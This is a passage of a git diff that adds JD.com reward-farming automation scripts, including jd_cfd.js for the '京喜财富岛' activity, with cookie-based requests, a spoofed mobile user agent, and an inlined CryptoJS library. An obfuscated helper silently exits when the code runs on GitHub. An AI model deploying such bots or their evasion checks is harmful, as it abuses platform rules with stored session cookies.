"zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + "Cookie": cookie, + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 1001) { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_cfd.js b/jd_cfd.js new file mode 100644 index 0000000..f78c8a1 --- /dev/null +++ b/jd_cfd.js @@ -0,0 +1,1827 @@ +/* +京喜财富岛 +cron 1 * * * * jd_cfd.js +更新时间:2021-9-11 +活动入口:京喜APP-我的-京喜财富岛 + +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京喜财富岛 +1 * * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd.js, tag=京喜财富岛, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxcfd.png, enabled=true + +================Loon============== +[Script] +cron "1 * * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd.js,tag=京喜财富岛 + +===============Surge================= +京喜财富岛 = type=cron,cronexp="1 * * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd.js + +============小火箭========= +京喜财富岛 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd.js, cronexpr="1 * * * *", timeout=3600, enable=true + */ +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = 